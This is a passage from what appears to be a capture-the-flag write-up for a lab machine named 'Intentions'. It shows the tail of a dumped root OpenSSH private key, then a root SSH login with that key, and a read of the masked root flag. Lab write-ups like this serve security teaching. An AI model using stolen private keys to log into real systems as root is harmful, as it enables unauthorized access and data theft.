7x17Ygwfhs4O8AQDvjhizWop/7Njg7Xm7ouxzoXdAAAFiJKKGvOSihrzAAAAB3NzaC1yc2
EAAAGBAOcjLoj2lj6+j9BmIlIuRJ6g/EDjPQe4JtpUx8JQOxTMPef8MvCVtx6hDGK1kjaV
9h6m78Z4TgQlv7sCjGxW+CzyPhM0enh6+bxuN/BKHhpixQb4YHueFpE70Mnb5OsasY8qYt
z4rypyNhpvgVs3DIupByPjSw1FZ+2jbYQSIPTsiFcKey15d3IFK1jOErb2GWchqSExUf9S
o2gkIyw57IWTuzqzPzy1ncoqatsmbTaAee5L82z0aV7uwDWzPMFd3MpPzmbdC2XYXzLibC
bBS4WbnwA8D1UStQdKDI3J5Y4VLlb2CbZvCIP/HwvWRHMnBevRPpwQIg7lJpAwIXY9IpQ+
txGy6H+K0JgbmFED8vyjFMBrowlAUCsN213TjLP46up/GyuxEXByBMerk3cIBOlpSUIYAK
eoU+woiDat+GdghXfbdsdaNuPiTgEI/SQrm0WtXzjBbPDqhAYhkB5jiI5lI+8de2IMH4bO
DvAEA744Ys1qKf+zY4O15u6Lsc6F3QAAAAMBAAEAAAGABGD0S8gMhE97LUn3pC7RtUXPky
tRSuqx1VWHu9yyvdWS5g8iToOVLQ/RsP+hFga+jqNmRZBRlz6foWHIByTMcOeKH8/qjD4O
9wM8ho4U5pzD5q2nM3hR4G1g0Q4o8EyrzygQ27OCkZwi/idQhnz/8EsvtWRj/D8G6ME9lo
pHlKdz4fg/tj0UmcGgA4yF3YopSyM5XCv3xac+YFjwHKSgegHyNe3se9BlMJqfz+gfgTz3
8l9LrLiVoKS6JsCvEDe6HGSvyyG9eCg1mQ6J9EkaN2q0uKN35T5siVinK9FtvkNGbCEzFC
PknyAdy792vSIuJrmdKhvRTEUwvntZGXrKtwnf81SX/ZMDRJYqgCQyf5vnUtjKznvohz2R
0i4lakvtXQYC/NNc1QccjTL2NID4nSOhLH2wYzZhKku1vlRmK13HP5BRS0Jus8ScVaYaIS
bEDknHVWHFWndkuQSG2EX9a2auy7oTVCSu7bUXFnottatOxo1atrasNOWcaNkRgdehAAAA
wQDUQfNZuVgdYWS0iJYoyXUNSJAmzFBGxAv3EpKMliTlb/LJlKSCTTttuN7NLHpNWpn92S
pNDghhIYENKoOUUXBgb26gtg1qwzZQGsYy8JLLwgA7g4RF3VD2lGCT377lMD9xv3bhYHPl
lo0L7jaj6PiWKD8Aw0StANo4vOv9bS6cjEUyTl8QM05zTiaFk/UoG3LxoIDT6Vi8wY7hIB
AhDZ6Tm44Mf+XRnBM7AmZqsYh8nw++rhFdr9d39pYaFgok9DcAAADBAO1D0v0/2a2XO4DT
AZdPSERYVIF2W5TH1Atdr37g7i7zrWZxltO5rrAt6DJ79W2laZ9B1Kus1EiXNYkVUZIarx
Yc6Mr5lQ1CSpl0a+OwyJK3Rnh5VZmJQvK0sicM9MyFWGfy7cXCKEFZuinhS4DPBCRSpNBa
zv25Fap0Whav4yqU7BsG2S/mokLGkQ9MVyFpbnrVcnNrwDLd2/whZoENYsiKQSWIFlx8Gd
uCNB7UAUZ7mYFdcDBAJ6uQvPFDdphWPQAAAMEA+WN+VN/TVcfYSYCFiSezNN2xAXCBkkQZ
X7kpdtTupr+gYhL6gv/A5mCOSvv1BLgEl0A05BeWiv7FOkNX5BMR94/NWOlS1Z3T0p+mbj
D7F0nauYkSG+eLwFAd9K/kcdxTuUlwvmPvQiNg70Z142bt1tKN8b3WbttB3sGq39jder8p
nhPKs4TzMzb0gvZGGVZyjqX68coFz3k1nAb5hRS5Q+P6y/XxmdBB4TEHqSQtQ4PoqDj2IP
DVJTokldQ0d4ghAAAAD3Jvb3RAaW50ZW50aW9ucwECAw==
-----END OPENSSH PRIVATE KEY-----
[+] File saved to output.txt
greg@intentions:~$
elswix@kali$ chmod 600 id_rsa
ssh root@10.10.11.220 -i id_rsa
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Oct 14 05:25:06 PM UTC 2023
System load: 0.0556640625
Usage of /: 58.8% of 6.30GB
Memory usage: 8%
Swap usage: 0%
Processes: 228
Users logged in: 1
IPv4 address for eth0: 10.10.11.220
IPv6 address for eth0: dead:beef::250:56ff:feb9:8816
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
12 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Oct 14 16:48:21 2023 from 10.10.16.6
root@intentions:~#
root@intentions:~# whoami
root
root@intentions:~# id
uid=0(root) gid=0(root) groups=0(root)
root@intentions:~# cat /root/root.txt
0f5c7***********************fe34
root@intentions:~#